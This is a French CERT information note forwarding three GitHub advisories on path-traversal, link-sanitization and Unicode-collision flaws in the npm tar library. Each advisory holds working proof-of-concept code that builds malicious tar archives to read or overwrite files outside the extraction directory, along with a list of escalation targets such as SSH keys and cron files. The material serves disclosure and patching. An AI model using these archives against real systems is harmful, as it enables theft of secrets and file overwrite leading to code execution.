Ce mail provient de l'extérieur, restons vigilants ===================================================================== CERT-Renater Note d'Information No. 2026/VULN088 _____________________________________________________________________ DATE : 28/01/2026 HARDWARE PLATFORM(S): / OPERATING SYSTEM(S): Systems running node-tar (npm) versions prior to 7.5.7. ===================================================================== https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97 _____________________________________________________________________ Arbitrary File Read/Overwrite via Hardlink Path Traversal in node-tar High isaacs published GHSA-34x7-hfp2-rc4v Jan 27, 2026 Package tar (npm) Affected versions <= 7.5.6 Patched versions >=7.5.7 Description Summary node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Details The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently: Security check in [STRIPABSOLUTEPATH]: const entryDir = path.posix.dirname(entry.path); const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath)); if (resolved.startsWith('../')) { /* block */ } Hardlink creation in [HARDLINK]: const linkpath = path.resolve(this.cwd, entry.linkpath); fs.linkSync(linkpath, dest); Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd. Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes. Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd. The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape. PoC Setup Create a new directory with these files: poc/ ├── package.json ├── secret.txt ← sensitive file (target) ├── server.js ← vulnerable server ├── create-malicious-tar.js ├── verify.js └── uploads/ ← created automatically by server.js └── (extracted files go here) package.json { "dependencies": { "tar": "^7.5.0" } } secret.txt (sensitive file outside uploads/) DATABASE_PASSWORD=supersecret123 server.js (vulnerable file upload server) const http = require('http'); const fs = require('fs'); const path = require('path'); const tar = require('tar'); const PORT = 3000; const UPLOAD_DIR = path.join(__dirname, 'uploads'); fs.mkdirSync(UPLOAD_DIR, { recursive: true }); http.createServer((req, res) => { if (req.method === 'POST' && req.url === '/upload') { const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', async () => { fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks)); await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR }); res.end('Extracted\n'); }); } else if (req.method === 'GET' && req.url === '/read') { // Simulates app serving extracted files (e.g., file download, static assets) const targetPath = path.join(UPLOAD_DIR, 'd', 'x'); if (fs.existsSync(targetPath)) { res.end(fs.readFileSync(targetPath)); } else { res.end('File not found\n'); } } else if (req.method === 'POST' && req.url === '/write') { // Simulates app writing to extracted file (e.g., config update, log append) const chunks = []; req.on('data', c => chunks.push(c)); req.on('end', () => { const targetPath = path.join(UPLOAD_DIR, 'd', 'x'); if (fs.existsSync(targetPath)) { fs.writeFileSync(targetPath, Buffer.concat(chunks)); res.end('Written\n'); } else { res.end('File not found\n'); } }); } else { res.end('POST /upload, GET /read, or POST /write\n'); } }).listen(PORT, () => console.log(`http://localhost:${PORT}`)); create-malicious-tar.js (attacker creates exploit TAR) const fs = require('fs'); function tarHeader(name, type, linkpath = '', size = 0) { const b = Buffer.alloc(512, 0); b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108); b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124); b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136); b.write(' ', 148); b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48; if (linkpath) b.write(linkpath, 157); b.write('ustar\x00', 257); b.write('00', 263); let sum = 0; for (let i = 0; i < 512; i++) sum += b[i]; b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148); return b; } // Hardlink escapes to parent directory's secret.txt fs.writeFileSync('malicious.tar', Buffer.concat([ tarHeader('d/', 'dir'), tarHeader('d/x', 'link', '../secret.txt'), Buffer.alloc(1024) ])); console.log('Created malicious.tar'); Run # Setup npm install echo "DATABASE_PASSWORD=supersecret123" > secret.txt # Terminal 1: Start server node server.js # Terminal 2: Execute attack node create-malicious-tar.js curl -X POST --data-binary @malicious.tar http://localhost:3000/upload # READ ATTACK: Steal secret.txt content via the hardlink curl http://localhost:3000/read # Returns: DATABASE_PASSWORD=supersecret123 # WRITE ATTACK: Overwrite secret.txt through the hardlink curl -X POST -d "PWNED" http://localhost:3000/write # Confirm secret.txt was modified cat secret.txt Impact An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables: Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process. Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory. Remote Code Execution / Server Takeover Attack Vector Target File Result SSH Access ~/.ssh/authorized_keys Direct shell access to server Cron Backdoor /etc/cron.d/*, ~/.crontab Persistent code execution Shell RC Files ~/.bashrc, ~/.profile Code execution on user login Web App Backdoor Application .js, .php, .py files Immediate RCE via web requests Systemd Services /etc/systemd/system/*.service Code execution on service restart User Creation /etc/passwd (if running as root) Add new privileged user Data Exfiltration & Corruption Overwrite arbitrary files via hardlink escape + subsequent write operations Read sensitive files by creating hardlinks that point outside extraction directory Corrupt databases and application state Steal credentials from config files, .env, secrets Severity High 8.2/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required None User interaction Required Scope Changed Confidentiality High Integrity Low Availability None CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N CVE ID CVE-2026-24842 Weaknesses Weakness CWE-22 Weakness CWE-59 Credits @mistersiddd mistersiddd Reporter _____________________________________________________________________ Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS High isaacs published GHSA-r6q2-hw4h-h46w Jan 19, 2026 Package tar (npm) Affected versions <= 7.5.3 Patched versions 7.5.4 Description TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS AUTHOR: Tomás Illuminati Details A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. // node-tar/src/path-reservations.ts (Lines 53-62) reserve(paths: string[], fn: Handler) { paths = isWindows ? ['win32 parallelization disabled'] : paths.map(p => { return stripTrailingSlashes( join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS ).toLowerCase() }) In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example: bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss bash-3.2$ ls collision_test_ss bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß bash-3.2$ ls -la total 8 drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 . drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 .. -rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss bash-3.2$ PoC const tar = require('tar'); const fs = require('fs'); const path = require('path'); const { PassThrough } = require('stream'); const exploitDir = path.resolve('race_exploit_dir'); if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true }); fs.mkdirSync(exploitDir); console.log('[*] Testing...'); console.log(`[*] Extraction target: ${exploitDir}`); // Construct stream const stream = new PassThrough(); const contentA = 'A'.repeat(1000); const contentB = 'B'.repeat(1000); // Key 1: "f_ss" const header1 = new tar.Header({ path: 'collision_ss', mode: 0o644, size: contentA.length, }); header1.encode(); // Key 2: "f_ß" const header2 = new tar.Header({ path: 'collision_ß', mode: 0o644, size: contentB.length, }); header2.encode(); // Write to stream stream.write(header1.block); stream.write(contentA); stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding stream.write(header2.block); stream.write(contentB); stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding // End stream.write(Buffer.alloc(1024)); stream.end(); // Extract const extract = new tar.Unpack({ cwd: exploitDir, // Ensure jobs is high enough to allow parallel processing if locks fail jobs: 8 }); stream.pipe(extract); extract.on('end', () => { console.log('[*] Extraction complete'); // Check what exists const files = fs.readdirSync(exploitDir); console.log('[*] Files in exploit dir:', files); files.forEach(f => { const p = path.join(exploitDir, f); const stat = fs.statSync(p); const content = fs.readFileSync(p, 'utf8'); console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`); }); if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) { console.log('\[*] GOOD'); } else { console.log('[-] No collision'); } }); Impact This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive. Remediation Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en'). Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue. References https://cwe.mitre.org/data/definitions/367.html https://cwe.mitre.org/data/definitions/176.html https://cwe.mitre.org/data/definitions/362.html https://unicode.org/reports/tr15/ Severity High 8.8/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required None User interaction Required Scope Changed Confidentiality Low Integrity High Availability Low CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L CVE ID CVE-2026-23950 Weaknesses Weakness CWE-176 Weakness CWE-362 Weakness CWE-367 Credits @tomasilluminati tomasilluminati Reporter _____________________________________________________________________ Insufficient Link Path Sanitization High isaacs published GHSA-8qq5-rm4j-mr97 Jan 16, 2026 Package tar (npm) Affected versions <= 7.5.2 Patched versions 7.5.3 Description Summary The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets. Details The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods. 1. Hardlink Escape (Arbitrary File Overwrite) The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path. The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place. 2. Symlink Poisoning The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used. PoC The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten. const fs = require('fs') const path = require('path') const tar = require('tar') const out = path.resolve('out_repro') const secret = path.resolve('secret.txt') const tarFile = path.resolve('exploit.tar') const targetSym = '/etc/passwd' // Cleanup & Setup try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {} fs.mkdirSync(out) fs.writeFileSync(secret, 'ORIGINAL_DATA') // 1. Craft malicious Link header (Hardlink to absolute local file) const h1 = new tar.Header({ path: 'exploit_hard', type: 'Link', size: 0, linkpath: secret }) h1.encode() // 2. Craft malicious Symlink header (Symlink to /etc/passwd) const h2 = new tar.Header({ path: 'exploit_sym', type: 'SymbolicLink', size: 0, linkpath: targetSym }) h2.encode() // Write binary tar fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ])) console.log('[*] Extracting malicious tarball...') // 3. Extract with default secure settings tar.x({ cwd: out, file: tarFile, preservePaths: false }).then(() => { console.log('[*] Verifying payload...') // Test Hardlink Overwrite try { fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN') if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') { console.log('[+] VULN CONFIRMED: Hardlink overwrite successful') } else { console.log('[-] Hardlink failed') } } catch (e) {} // Test Symlink Poisoning try { if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) { console.log('[+] VULN CONFIRMED: Symlink points to absolute path') } else { console.log('[-] Symlink failed') } } catch (e) {} }) Impact Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files. Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all Link and SymbolicLink tar entries from extracted packages.) References https://nvd.nist.gov/vuln/detail/CVE-2026-23745 340eb28 Severity High 8.2/ 10 CVSS v4 base metrics Exploitability Metrics Attack Vector Local Attack Complexity Low Attack Requirements None Privileges Required None User interaction Active Vulnerable System Impact Metrics Confidentiality High Integrity Low Availability None Subsequent System Impact Metrics Confidentiality High Integrity Low Availability None CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N CVE ID CVE-2026-23745 Weaknesses Weakness CWE-22 Credits @Jvr2022 Jvr2022 Reporter ========================================================= + CERT-RENATER | tel : 01-53-94-20-44 + + 23/25 Rue Daviel | fax : 01-53-94-20-41 + + 75013 Paris | email:cert@support.renater.fr + =========================================================